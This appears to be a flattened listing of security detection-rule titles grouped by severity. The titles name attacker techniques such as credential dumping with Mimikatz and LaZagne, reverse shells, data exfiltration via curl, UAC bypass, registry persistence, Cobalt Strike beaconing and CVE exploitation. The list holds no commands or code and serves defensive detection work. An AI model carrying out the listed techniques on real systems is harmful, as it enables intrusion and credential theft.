Change by Reg.exe Changing Existing Service ImagePath Value Via Reg.EXE Write Protect For Storage Disabled Remote Access Tool - AnyDesk Execution Remote Access Tool - AnyDesk Piped Password Via CLI Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate Remote Access Tool - RURAT Execution From Unusual Location Remote Access Tool - MeshAgent Command Execution via MeshCentral Remote Access Tool - NetSupport Execution Remote Access Tool - NetSupport Execution From Unusual Location Remote Access Tool - GoToAssist Execution Remote Access Tool - LogMeIn Execution Remote Access Tool - ScreenConnect Execution Remote Access Tool - ScreenConnect Installation Execution Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution Remote Access Tool - Simple Help Execution Remote Access Tool - UltraViewer Execution Renamed AutoHotkey.EXE Execution Potential Defense Evasion Via Binary Rename Renamed BOINC Client Execution Renamed CURL.EXE Execution Renamed FTP.EXE Execution Renamed Microsoft Teams Execution Visual Studio NodejsTools PressAnyKey Renamed Execution Renamed Remote Utilities RAT (RURAT) Execution Capture Credentials with Rpcping.exe Ruby Inline Command Execution Rundll32 InstallScreenSaver Execution Potential Obfuscated Ordinal Call Via Rundll32 Rundll32 Spawned Via Explorer.EXE Suspicious Process Start Locations Suspicious Rundll32 Setupapi.dll Activity Potential ShellDispatch.DLL Functionality Abuse Potentially Suspicious Rundll32 Activity Potentially Suspicious Rundll32.EXE Execution of UDL File Rundll32 Execution With Uncommon DLL Extension Suspicious Workstation Locking via Rundll32 WebDav Client Execution Via Rundll32.EXE Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE Suspicious Scheduled Task Name As GUID Potential Persistence Via Microsoft Compatibility Appraiser Scheduled Task Executing Payload from Registry Suspicious Schtasks Schedule Type With High Privileges Suspicious Scheduled Task Creation via Masqueraded XML File Service StartupType Change Via Sc.EXE New Kernel Driver Via SC.EXE Service Security Descriptor Tampering Via Sc.EXE Potential Persistence Attempt Via Existing Service Tampering Potential Shim Database Persistence via Sdbinst.EXE Uncommon Extension Shim Database Installation Via Sdbinst.EXE Sdclt Child Processes Potential Suspicious Activity Using SeCEdit Potential SPN Enumeration Via Setspn.EXE Setup16.EXE Execution With Custom .Lst File Suspicious Execution of Shutdown Suspicious Execution of Shutdown to Log Out Uncommon Sigverif.EXE Child Process Uncommon Child Processes Of SndVol.exe Audio Capture via SoundRecorder Veeam Backup Database Suspicious Query Arbitrary File Download Via Squirrel.EXE Process Proxy Execution Via Squirrel.EXE Port Forwarding Activity Via SSH.EXE Program Executed Using Proxy/Local Command Via SSH.EXE Potential Amazon SSM Agent Hijacking Start of NT Virtual DOS Machine User Added to Local Administrators Group Execute From Alternate Data Streams Always Install Elevated Windows Installer Potentially Suspicious Windows App Activity Arbitrary Shell Command Execution Via Settingcontent-Ms Automated Collection Command Prompt Potential Suspicious Browser Launch From Document Reader Process Potential Browser Data Stealing Potential Commandline Obfuscation Using Escape Characters Potential Command Line Path Traversal Evasion Attempt Suspicious Copy From or To System Directory Copy From Or To Admin Share Or Sysvol Folder Always Install Elevated MSI Spawned Cmd And Powershell Suspicious Electron Application Child Processes Potentially Suspicious Electron Application CommandLine Elevated System Shell Spawned From Uncommon Parent Location Hidden Powershell in Link File Pattern Potentially Suspicious EventLog Recon Activity Using Log Query Utilities Suspicious File Characteristics Due to Missing Fields Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI Writing Of Malicious Files To The Fonts Folder Potential Homoglyph Attack Using Lookalike Characters Potentially Suspicious JWT Token Search Via CLI LOLBIN Execution From Abnormal Drive Potential File Download Via MS-AppInstaller Protocol Handler Suspicious Scan Loop Network Potential Network Sniffing Activity Using Network Tools Execution of Suspicious File Type Extension Process Launched Without Image Name Use Short Name Path in Command Line Use Short Name Path in Image Use NTFS Short Name in Command Line Use NTFS Short Name in Image Obfuscated IP Download Activity Obfuscated IP Via CLI Private Keys Reconnaissance Via CommandLine Tools Suspicious RunAs-Like Flag Combination Recon Information for Export with Command Prompt Potential Remote Desktop Tunneling Shadow Copies Creation Using Operating Systems Utilities Suspicious SYSVOL Domain Group Policy Access Process Creation Using Sysnative Folder Suspicious Userinit Child Process Malicious PE Execution by Microsoft Visual Studio Debugger Weak or Abused Passwords In CLI Usage Of Web Request Commands And Cmdlets Uncommon Svchost Parent Process Permission Check Via Accesschk.EXE Active Directory Database Snapshot Via ADExplorer Potential Memory Dumping Activity Via LiveKD Procdump Execution Psexec Execution PsExec Service Execution Suspicious Use of PsLogList Sysinternals PsService Execution Sysinternals PsSuspend Execution Sysmon Configuration Update Potential Binary Impersonating Sysinternals Tools Sysprep on AppData Folder Suspicious Recursive Takeown Tap Installer Execution Loaded Module Enumeration Via Tasklist.EXE Potentially Suspicious Command Targeting Teams Sensitive Files New Virtual Smart Card Created Via TpmVscMgr.EXE Potential RDP Session Hijacking Activity UAC Bypass via Windows Firewall Snap-In Hijack Potential UAC Bypass Via Sdclt.EXE Use of UltraVNC Remote Access Software Windows Credential Manager Access via VaultCmd Verclsid.exe Runs COM Object Suspicious VBoxDrvInst.exe Parameters Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script Potentially Suspicious Child Process Of VsCode Visual Studio Code Tunnel Execution Visual Studio Code Tunnel Shell Execution Visual Studio Code Tunnel Service Installation Potential Binary Proxy Execution Via VSDiagnostics.EXE Suspicious Vsls-Agent Command With AgentExtensionPath Load Windows Backup Deleted Via Wbadmin.EXE File Recovery From Backup Via Wbadmin.EXE Potentially Suspicious WebDAV LNK Execution Potential ReflectDebugger Content Execution Via WerFault.EXE Enumerate All Information With Whoami.EXE Group Membership Reconnaissance Via Whoami.EXE Whoami.EXE Execution With Output Option Whoami.EXE Execution Anomaly Suspicious WindowsTerminal Child Processes Add New Download Source To Winget Add Potential Suspicious New Download Source To Winget Install New Package Via Winget Local Manifest Winrar Compressing Dump Files Potentially Suspicious Child Process Of WinRAR.EXE Winrar Execution in Non-Standard Folder AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl Remote Code Execute via Winrm.vbs Remote PowerShell Session Host Process (WinRM) Compress Data and Lock With Password for Exfiltration With WINZIP Wlrmdr.EXE Uncommon Argument Or Child Process New Process Created Via Wmic.EXE Computer System Reconnaissance Via Wmic.EXE Hardware Model Reconnaissance Via Wmic.EXE Windows Hotfix Updates Reconnaissance Via Wmic.EXE Process Reconnaissance Via Wmic.EXE Potential Product Reconnaissance Via Wmic.EXE Potential Product Class Reconnaissance Via Wmic.EXE Service Reconnaissance Via Wmic.EXE Uncommon System Information Discovery Via Wmic.EXE Potential Unquoted Service Path Reconnaissance Via Wmic.EXE System Disk And Volume Reconnaissance Via Wmic.EXE WMIC Remote Command Execution Service Started/Stopped Via Wmic.EXE Potential SquiblyTwo Technique Execution Application Terminated Via Wmic.EXE Application Removed Via Wmic.EXE XSL Script Execution Via WMIC.EXE WmiPrvSE Spawned A Process Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell WMI Persistence - Script Event Consumer Potential Dropper Script Execution Via WScript/CScript Cscript/Wscript Potentially Suspicious Child Process WSL Child Process Anomaly Windows Binary Executed From WSL COM Object Execution via Xwizard.EXE Potential Process Hollowing Activity Potential COM Object Hijacking Via TreatAs Subkey - Registry Potential Persistence Via Disk Cleanup Handler - Registry Potential Persistence Via Logon Scripts - Registry PUA - Sysinternals Tools Execution - Registry Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted Removal of Potential COM Hijacking Registry Keys Removal Of Index Value to Hide Schedule Task - Registry Removal Of SD Value to Hide Schedule Task - Registry Path To Screensaver Binary Modified New DLL Added to AppCertDlls Registry Key New DLL Added to AppInit_DLLs Registry Key Office Application Startup - Office Test Windows Registry Trust Record Modification New PortProxy Registry Entry Added Run Once Task Configuration in Registry Atbroker Registry Change Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback Add Port Monitor Persistence in Registry Add Debugger Entry To AeDebug For Persistence Allow RDP Remote Assistance Feature CurrentVersion Autorun Keys Modification Common Autorun Keys Modification Classes Autorun Keys Modification CurrentControlSet Autorun Keys Modification CurrentVersion NT Autorun Keys Modification Internet Explorer Autorun Keys Modification Office Autorun Keys Modification Session Manager Autorun Keys Modification System Scripts Autorun Keys Modification WinSock2 Autorun Keys Modification Wow6432Node CurrentVersion Autorun Keys Modification Wow6432Node Classes Autorun Keys Modification New BgInfo.EXE Custom DB Path Registry Configuration Wow6432Node Windows NT CurrentVersion Autorun Keys Modification New BgInfo.EXE Custom WMI Query Registry Configuration New BgInfo.EXE Custom VBScript Registry Configuration IE Change Domain Zone ClickOnce Trust Prompt Tampering CrashControl CrashDump Disabled Potential Registry Persistence Attempt Via DbgManagedDebugger Windows Defender Exclusions Added - Registry Potentially Suspicious Desktop Background Change Via Registry Disable Exploit Guard Network Protection on Windows Defender Disable Administrative Share Creation at Startup Disable Tamper Protection on Windows Defender Disable Microsoft Defender Firewall via Registry Disable Internal Tools or Feature in Registry Disable Privacy Settings Experience in Registry Disable Windows Security Center Notifications Disable Windows Firewall by Registry Add DisallowRun Execution to Registry Persistence Via Disk Cleanup Handler - Autorun DNS-over-HTTPS Enabled by Registry Periodic Backup For System Registry Hives Enabled Windows Recall Feature Enabled - Registry Enabling COR Profiler Environment Variables Scripted Diagnostics Turn Off Check Enabled - Registry Registry Modification to Hidden File Extension Displaying Hidden Files Feature Disabled Registry Hide Function from User New Root or CA or AuthRoot Certificate to Store Internet Explorer DisableFirstRunCustomize Enabled Potential Persistence Via Netsh Helper DLL - Registry Potential Credential Dumping Attempt Using New NetworkProvider - REG Enable Microsoft Dynamic Data Exchange Outlook Security Settings Updated - Registry Potential Persistence Using DebugPath Potential Persistence Via AppCompat RegisterAppRestart Layer Potential Persistence Via Custom Protocol Handler Potential Persistence Via Event Viewer Events.asp Register New IFiltre For Persistence Potential Persistence Via Scrobj.dll COM Hijacking Potential Persistence Via Visual Studio Tools for Office Potential Persistence Via Shim Database Modification Potential PowerShell Execution Policy Tampering Suspicious Powershell In Registry Run Keys ScreenSaver Registry Key Set Potential SentinelOne Shell Context Menu Scan Command Tampering ServiceDll Hijack Registry Explorer Policy Modification Persistence Via New SIP Provider Activate Suppression of Windows Security Center Notifications Suspicious Keyboard Layout Load Potential PendingFileRenameOperations Tampering Suspicious Service Installed RDP Sensitive Settings Changed to Zero Old TLS1.0/TLS1.1 Protocol Version Enabled COM Hijacking via TreatAs UAC Disabled UAC Notification Disabled UAC Secure Desktop Prompt Disabled Enable Local Manifest Installation With Winget Winlogon AllowMultipleTSSessions Enable Sysmon Configuration Change Sysmon File Executable Creation Detected WMI Event Subscription Exploit for CVE-2017-0261 Defrag Deactivation Defrag Deactivation - Security Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32 Potential CVE-2021-27905 Exploitation Attempt Potential CVE-2021-42278 Exploitation Attempt Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution Zimbra Collaboration Suite Email Server Unauthenticated RCE CVE-2022-31659 VMware Workspace ONE Access RCE Suspicious Set Value of MSDT in Registry (CVE-2022-30190) CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21 CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows) CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy) CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver) Potential CVE-2023-2283 Exploitation Potential CVE-2023-23397 Exploitation Attempt - SMB Potential CVE-2023-27997 Exploitation Indicators Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location Potential CVE-2023-36884 Exploitation Dropped File Potential CVE-2023-36884 Exploitation - File Downloads CVE-2023-40477 Potential Exploitation - WinRAR Application Crash Potential CVE-2023-46214 Exploitation Attempt CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver DarkGate - Autoit3.EXE File Creation By Uncommon Process Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE Rhadamanthys Stealer Module Launch Via Rundll32.EXE Potential Encrypted Registry Blob Related To SNAKE Malware DLL Names Used By SVR For GraphicalProton Backdoor Okta 2023 Breach Indicator Of Compromise Potential Peach Sandstorm APT C2 Communication Activity CVE-2024-1708 - ScreenConnect Path Traversal Exploitation ScreenConnect User Database Modification ScreenConnect User Database Modification - Security Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation DarkGate - Drop DarkGate Loader In C:\Temp Directory Potential KamiKakaBot Activity - Lure Document Execution Potential KamiKakaBot Activity - Shutdown Schedule Task Creation Kapeka Backdoor Configuration Persistence Potential APT FIN7 Exploitation Activity Forest Blizzard APT - JavaScript Constrained File Creation Account Created And Deleted By Non Approved Users Potential Pass the Hash Activity Remote Registry Management Using Reg Utility Interactive Logon to Server Systems Mail Forwarding/Redirecting Activity In O365 Python Path Configuration File Creation - Linux Terminate Linux Process Via Kill Python Path Configuration File Creation - MacOS Clipboard Data Collection Via Pbpaste .Class Extension URI Ending Request Potential Remote WMI ActiveScriptEventConsumers Activity CreateRemoteThread API and LoadLibrary Remote Thread Creation Via PowerShell Access To Sysvol Policies Share By Uncommon Process Python Path Configuration File Creation - Windows VsCode Code Tunnel Execution File Indicator WebDAV Temporary Local File Creation Non-DLL Extension File Renamed With DLL Extension Dbghelp/Dbgcore DLL Loaded By Uncommon/Suspicious Process Dfsvc.EXE Network Connection To Non-Local IPs Dllhost.EXE Initiated Network Connection To Non-Local IP Address HH.EXE Initiated HTTP Network Connection Potentially Suspicious Azure Front Door Connection Network Connection Initiated From Users\Public Folder Uncommon PowerShell Hosts Windows Mail App Mailbox Access Via PowerShell Script SMB over QUIC Via PowerShell Script Potential Registry Reconnaissance Via PowerShell Script Potential Data Exfiltration Over SMTP Via Send-MailMessage Cmdlet WinAPI Library Calls Via PowerShell Scripts WinAPI Function Calls Via PowerShell Scripts Potential Credential Dumping Attempt Via PowerShell LSASS Access From Program In Potentially Suspicious Folder Uncommon GrantedAccess Flags On LSASS Potential Shellcode Injection Headless Process Launched Via Conhost.EXE Dynamic .NET Compilation Via Csc.EXE - Hunting File Download Via Curl.EXE Potential Data Exfiltration Via Curl.EXE Diskshadow Child Process Spawned Curl.EXE Execution With Custom UserAgent ClickOnce Deployment Execution - Dfsvc.EXE Child Process Diskshadow Script Mode Execution Potential DLL Sideloading Activity Via ExtExport.EXE Potential Password Reconnaissance Via Findstr.EXE New Self Extracting Package Created Via IExpress.EXE Microsoft Workflow Compiler Execution SMB over QUIC Via Net.EXE Suspicious New Instance Of An Office COM Object Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace Potentially Suspicious PowerShell Child Processes Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly Remote Access Tool - Action1 Arbitrary Code Execution and Remote Sessions Remote Access Tool - Ammy Admin Agent Execution Remote Access Tool - Cmd.EXE Execution via AnyViewer Remote Access Tool - ScreenConnect Remote Command Execution - Hunting DLL Call by Ordinal Via Rundll32.EXE Rundll32.EXE Calling DllRegisterServer Export Function Explicitly Scheduled Task Creation From Potential Suspicious Parent Location Potential CommandLine Obfuscation Using Unicode Characters Potentially Suspicious Compression Tool Parameters Elevated System Shell Spawned EventLog Query Requests By Builtin Utilities Execution From Webserver Root Folder Tunneling Tool Execution File or Folder Permissions Modifications Manual Execution of Script Inside of a Compressed File WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript Arbitrary Command Execution Using WSL Cab File Extraction Via Wusa.EXE Microsoft Office Trusted Location Updated Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace Service Binary in User Controlled Folder AWS EC2 Download Userdata Potential Backup Enumeration on AWS Potential Storage Enumeration on AWS AWS Macie Evasion Potential AWS Cloud Email Service Abuse Use of Debugfs to Access a Raw Disk Failed Logins with Different Accounts from Single Source - Linux Privilege Escalation Preparation High DNS Bytes Out High NULL Records Requests Rate High DNS Requests Rate High TXT Records Requests Rate High DNS Bytes Out - Firewall High DNS Requests Rate - Firewall Network Scans Count By Destination IP Possible DNS Rebinding Network Scans Count By Destination Port Multiple Modsecurity Blocks Multiple Suspicious Resp Codes Caused by Single Client Possible DNS Rebinding Invoke-Obfuscation COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER Tap Driver Installation Mimikatz In-Memory Automated Turla Group Lateral Movement Reconnaissance Activity Using BuiltIn Commands Files Dropped to Program Files by Non-Priviledged Process Dumping ntds.dit remotely via DCSync Dumping ntds.dit remotely via NetSync Remote Schtasks Creation Enumeration via the Global Catalog Password Spraying via Explicit Credentials Multiple Users Failing to Authenticate from Single Process Failed Logins with Different Accounts from Single Source System Failed NTLM Logins with Different Accounts from Single Source System Valid Users Failing to Authenticate From Single Source Using Kerberos Disabled Users Failing To Authenticate From Source Using Kerberos Invalid Users Failing To Authenticate From Source Using Kerberos Valid Users Failing to Authenticate from Single Source Using NTLM Invalid Users Failing To Authenticate From Single Source Using NTLM Multiple Users Remotely Failing To Authenticate From Single Source Suspicious Multiple File Rename Or Delete Occurred Possible Remote Password Change Through SAMR Suspicious Werfault.exe Network Connection Outbound Failed Mounting of Hidden Share Domain User Enumeration Network Recon 01 Potential Exfiltration of Compressed Files
low	334	Show Rules (334) Vulnerable Driver Load By Name Alternate PowerShell Hosts - Image Powershell File and Directory Discovery Suspicious Get-WmiObject Suspicious In-Memory Module Execution Indirect Command Execution New Service Creation Possible Applocker Bypass Stop Windows Service Process Start From Suspicious Folder PsExec Tool Execution PsExec Service Start Lateral Movement Indicator ConDrv Group Modification Logging Deployment Deleted From Kubernetes Cluster Container With A hostPath Mount Created Privileged Container Deployed RBAC Permission Enumeration Attempt Kubernetes Secrets Enumeration New Kubernetes Service Account Created Kubernetes Unauthorized or Unauthenticated Access New Network ACL Entry Added AWS EC2 VM Export Failure AWS EKS Cluster Created or Deleted AWS ElastiCache Security Group Created AWS ElastiCache Security Group Modified or Deleted Potential Bucket Enumeration on AWS AWS Glue Development Endpoint Activity AWS Route 53 Domain Transfer Lock Disabled AWS Route 53 Domain Transferred to Another Account AWS S3 Data Management Tampering AWS STS AssumeRole Misuse AWS STS GetSessionToken Misuse Azure Container Registry Created or Deleted Azure Kubernetes Cluster Created or Deleted End User Consent Measurable Increase Of Successful Authentications Failed Authentications From Countries You Do Not Operate Out Of Azure AD Only Single Factor Authentication Required Sign-ins by Unknown Devices Bitbucket Project Secret Scanning Allowlist Added Bitbucket Secret Scanning Rule Deleted Google Cloud Storage Buckets Enumeration Github New Secret Created Github Push Protection Bypass Detected Github Self Hosted Runner Changes Detected Suspicious Inbox Forwarding Okta Policy Modified or Deleted OneLogin User Assumed Another User OneLogin User Account Locked Host Without Firewall Cleartext Protocol Usage Via Netflow Audio Capture Linux Capabilities Discovery Clipboard Collection with Xclip Tool - Auditd Clipboard Collection of Image Data with Xclip Tool Data Compressed Overwriting the File with Dev Zero or Null File or Folder Permissions Change Use Of Hidden Paths Or Files Hidden Files and Directories Steganography Hide Zip Information in Picture File Linux Network Service Scanning - Auditd Network Sniffing - Linux Password Policy Discovery - Linux Systemd Service Reload or Start Screen Capture with Import Tool Screen Capture with Xwd Split A File Into Pieces - Linux Steganography Hide Files with Steghide Steganography Extract Files with Steghide System Information Discovery - Auditd Steganography Unzip Hidden Information From Picture File System Owner or User Discovery - Linux Remote File Copy Space After Filename Potentially Suspicious Shell Script Creation in Profile Folder Scheduled Task/Job At Decode Base64 Encoded Text Bash Interactive Shell Capabilities Discovery - Linux Clipboard Collection with Xclip Tool Crontab Enumeration Curl Usage on Linux DD File Overwrite Linux Doas Tool Execution OS Architecture Discovery Via Grep Install Root Certificate Local System Accounts Discovery - Linux Local Groups Discovery - Linux Named Pipe Created Via Mkfifo Connection Proxy Remote Access Tool - Team Viewer Session Started On Linux Host Linux Remote System Discovery Linux Package Uninstall Security Software Discovery - Linux Setuid and Setgid Container Residence Discovery Via Proc Virtual FS Docker Container Discovery Via Dockerenv Listing Potential Container Discovery Via Inodes Listing Linux Network Service Scanning Tools Execution System Network Connections Discovery - Linux Startup Item File Created - MacOS Decode Base64 Encoded Text -MacOs Creation Of A Local User Account System Integrity Protection (SIP) Enumeration GUI Input Capture - macOS JAMF MDM Execution Local System Accounts Discovery - MacOs MacOS Network Service Scanning Remote Access Tool - Team Viewer Session Started On MacOS Host Screen Capture - macOS Space After Filename - macOS Split A File Into Pieces Guest Account Enabled Via Sysadminctl Gatekeeper Bypass via Xattr Cisco Collect Data Cisco Discovery Cisco Stage Data Cisco BGP Authentication Failures Cisco LDP Authentication Failures Cleartext Protocol Usage Huawei BGP Authentication Failures Juniper BGP Missing MD5 DNS Events Related To Mining Pools New Kind of Network (NKN) Detection WebDav Put Request Download From Suspicious TLD - Blacklist Download From Suspicious TLD - Whitelist Suspicious Network Communication With IPFS Application Uninstalled MSSQL Server Failed Logon Remote Access Tool - ScreenConnect Command Execution Remote Access Tool - ScreenConnect File Transfer Sysinternals Tools AppX Versions Execution New BITS Job Created Via Bitsadmin New BITS Job Created Via PowerShell CodeIntegrity - Unmet Signing Level Requirements By File Under Validation DNS Query To Ufile.io - DNS Client USB Device Plugged The Windows Defender Firewall Service Failed To Load Group Policy Windows Defender Firewall Has Been Reset To Its Default Configuration Windows Firewall Settings Have Been Changed Previously Installed IIS Module Was Removed NTLM Logon ADCS Certificate Template Configuration Vulnerability Add or Remove Computer from DC Access To ADMIN$ Network Share Windows Event Auditing Disabled External Disk Drive Or USB Storage Device Was Recognized By The System Service Registry Key Read Access Request Unauthorized System Time Modification Tap Driver Installation - Security Local User Creation Admin User Remote Logon A Member Was Removed From a Security-Enabled Global Group A Member Was Added to a Security-Enabled Global Group A Security-Enabled Global Group Was Deleted Outgoing Logon with New Credentials Successful Account Login Via WMI Active Directory Certificate Services Denied Certificate Enrollment Request No Suitable Encryption Key Found For Generating Kerberos Ticket Volume Shadow Copy Mount Suspicious Usage of CVE_2021_34484 or CVE 2022_21919 Windows Service Terminated With Error Windows Defender Submit Sample Feature Disabled DNS Server Discovery Via LDAP Query DNS Query Request By QuickAssist.EXE DNS Query Request To OneLaunch Update Service DNS Query To Ufile.io Vulnerable Driver Load By Name TeamViewer Log File Deleted Dynamic CSharp Compile Artefact NTDS.DIT Created Office Macro File Creation PowerShell Script Dropped Via PowerShell.EXE PowerShell Module File Created Remote Access Tool - ScreenConnect Temporary File PsExec Service File Creation Potential Azure Browser SSO Abuse Load Of RstrtMgr.DLL By An Uncommon Process Potential 7za.DLL Sideloading Network Connection Initiated To Mega.nz Potentially Suspicious Network Connection To Notion API Remote PowerShell Session (PS Classic) Renamed Powershell Under Powershell Channel Use Get-NetTCPConnection AD Groups Or Users Enumeration Using PowerShell - PoshModule Use Get-NetTCPConnection - PowerShell Module Suspicious Get Local Groups Information Suspicious Get Information for SMB Share - PowerShell Module Active Directory Computers Enumeration With Get-AdComputer Active Directory Group Enumeration With Get-AdGroup Automated Collection Bookmarks Using Get-ChildItem PowerShell PowerShell Script With File Upload Capabilities PowerShell Script Change Permission Via Set-Acl - PsScript AD Groups Or Users Enumeration Using PowerShell - ScriptBlock Potential PowerShell Obfuscation Using Character Join Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy Suspicious PowerShell Get Current User Suspicious GPO Discovery With Get-GPO Suspicious Process Discovery With Get-Process Suspicious Get Local Groups Information - PowerShell Suspicious Mount-DiskImage Suspicious Connection to Remote Account Suspicious Get Information for SMB Share Potential PowerShell Obfuscation Using Alias Cmdlets Suspicious SSL Connection Powershell Suspicious Win32_PnPEntity Replace Desktop Wallpaper by Powershell Uncommon Process Access Rights For Target Image BitLockerTogo.EXE Execution Data Copied To Clipboard Via Clip.EXE Change Default File Association Via Assoc File Deletion Via Del File And SubFolder Enumeration Via Dir Command Directory Removal Via Rmdir DirLister Execution Insensitive Subfolder Search Via Findstr.EXE Fsutil Drive Enumeration HH.EXE Execution Suspicious Execution of Hostname JScript Compiler Execution Indirect Command Execution By Program Compatibility Wizard Mstsc.EXE Execution With Local RDP File Firewall Configuration Discovery Via Netsh.EXE Unmount Share Via Net.EXE Start Windows Service Via Net.EXE Stop Windows Service Via Net.EXE Windows Share Mount Via Net.EXE System Network Connections Discovery Via Net.EXE Share And Session Enumeration Using Net.EXE Nltest.EXE Execution New Service Creation Using PowerShell Potential Encoded PowerShell Patterns In CommandLine Non Interactive PowerShell Process Spawned Stop Windows Service Via PowerShell Stop-Service PUA - Adidnsdump Execution QuickAssist Execution Files Added To An Archive Using Rar.EXE Exports Registry Key To a File Registry Modification Via Regini.EXE Suspicious Query of MachineGUID Remote Access Tool - ScreenConnect Remote Command Execution Remote Access Tool - Team Viewer Session Started On Windows Host Discovery of a System Time Run Once Task Execution as Configured in Registry Scheduled Task Creation Via Schtasks.EXE New Service Creation Using Sc.EXE Interesting Service Enumeration Via Sc.EXE Stop Windows Service Via Sc.EXE Local Accounts Discovery Suspicious Network Command Windows Processes Suspicious Parent Directory Malicious Windows Script Components File Execution by TAEF Detection Potential Execution of Sysinternals Tools Suspicious Execution of Systeminfo Compressed File Creation Via Tar.EXE Compressed File Extraction Via Tar.EXE New Process Created Via Taskmgr.EXE Detect Virtualbox Driver Installation OR Starting Of VMs Suspicious Where Execution Whoami Utility Execution Local Groups Reconnaissance Via Wmic.EXE Potential Defense Evasion Via Raw Disk Access By Uncommon Tools PUA - Sysinternal Tool Execution - Registry New ODBC Driver Registered MaxMpxCt Registry Value Changed Modification of IE Registry Settings PowerShell Script Execution Policy Enabled ETW Logging Disabled For rpcrt4.dll ETW Logging Disabled For SCM Winget Admin Settings Modification Outlook Task/Note Reminder Received CVE-2023-40477 Potential Exploitation - .REV File Creation SNAKE Malware Installer Name Indicators Potential Raspberry Robin Registry Set Internet Settings ZoneMap Authentication Occuring Outside Normal Business Hours User with Privileges Logon DNS Request From Windows Script Host Userdomain Variable Enumeration Okta Password Health Report Query Process Discovery Firewall Rule Modified In The Windows Firewall Exception List Access To Browser Credential Files By Uncommon Applications - Security Scheduled Task Deletion Access To Browser Credential Files By Uncommon Applications Access To Chromium Browsers Sensitive Files By Uncommon Applications Access To Windows Outlook Mail Files By Uncommon Applications Access To .Reg/.Hive Files By Uncommon Applications Unattend.XML File Access Attempt ADS Zone.Identifier Deleted DMP/HDMP File Creation Scheduled Task Created - FileCreation Creation of an Executable by an Executable Amsi.DLL Load By Uncommon Process System Drawing DLL Load Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location Microsoft Excel Add-In Loaded Microsoft Word Add-In Loaded WMI Module Loaded By Uncommon Process Msiexec.EXE Initiated Network Connection Over HTTP Network Connection Initiated By PowerShell Process PsExec Default Named Pipe bXOR Operator Usage In PowerShell Command Line - PowerShell Classic Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet Compress-Archive Cmdlet Execution New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet - ScriptBlock Use Of Remove-Item to Delete File - ScriptBlock Password Protected Compressed File Extraction Via 7Zip Set Files as System Files Using Attrib.EXE CMD Shell Output Redirect Potential File Override/Append Via SET Command Curl.EXE Execution Potential Proxy Execution Via Explorer.EXE From Shell Process CodePage Modification Via MODE.COM Net.EXE Execution Import New Module Via PowerShell CommandLine Unusually Long PowerShell CommandLine New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet SC.EXE Query Execution Potential Suspicious Execution From GUID Like Folder Names Process Terminated Via Taskkill System Information Discovery Via Wmic.EXE Scheduled Task Created - Registry Command Executed Via Run Dialog Box - Registry Shell Context Menu Command Tampering Account Enumeration on AWS Potential Network Enumeration on AWS AWS Lambda Function Created or Invoked Quick Execution of a Series of Suspicious Commands Rare Schtasks Creations Rare Service Installations Rare Scheduled Task Creations
critical	186	Show Rules (186) CobaltStrike Malformed UAs in Malleable Profiles iOS Implant URL Pattern Credential Dumping Tools Service Execution Mimikatz MemSSP Default Log File Creation Dnscat Execution Credential Dumping by LaZagne Credential Dumping by Pypykatz CrackMapExecWin Lazarus Loaders DNS Tunnel Technique from MuddyWater TA505 Dropper Load Pattern Ryuk Ransomware Command Line Activity DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon Antivirus Exploitation Framework Detection Antivirus Password Dumper Detection Antivirus Ransomware Detection Bitbucket Unauthorized Access To A Resource Bitbucket Unauthorized Full Data Export Triggered Possible Coin Miner CPU Priority Param Webshell Remote Command Execution Sudo Privilege Escalation CVE-2019-14287 - Builtin Linux Reverse Shell Indicator Cobalt Strike DNS Beaconing HackTool - BabyShark Agent Default URL Pattern PwnDrp Access Audit CVE Event Suspicious Cobalt Strike DNS Beaconing - DNS Client ProxyLogon MSExchange OabVirtualDirectory Mailbox Export to Exchange Webserver Certificate Request Export to Exchange Webserver AD Object WriteDAC Access Active Directory Replication from Non Machine Account WCE wceaux.dll Access Win Susp Computer Name Containing Samtheadmin DiagTrackEoP Default Login Username Zerologon Exploitation Using Well-known Tools CobaltStrike Service Installations - System Moriya Rootkit - System Suspicious Cobalt Strike DNS Beaconing - Sysmon Potential DCOM InternetExplorer.Application DLL Hijack HackTool - Dumpert Process Dumper Default File HackTool - Inveigh Execution Artefacts HackTool - Mimikatz Kirbi File Creation HackTool - QuarksPwDump Dump File Wmiexec Default Output File Wmiprvse Wbemcomn DLL Hijack - File Potential DCOM InternetExplorer.Application DLL Hijack - Image Load CobaltStrike Named Pipe CobaltStrike Named Pipe Pattern Regex HackTool - DiagTrackEoP Default Named Pipe HackTool - Koh Default Named Pipe HackTool - Credential Dumping Tools Named Pipe Created Malicious Named Pipe Created Bad Opsec Powershell Code Artifacts Silence.EDA Detection 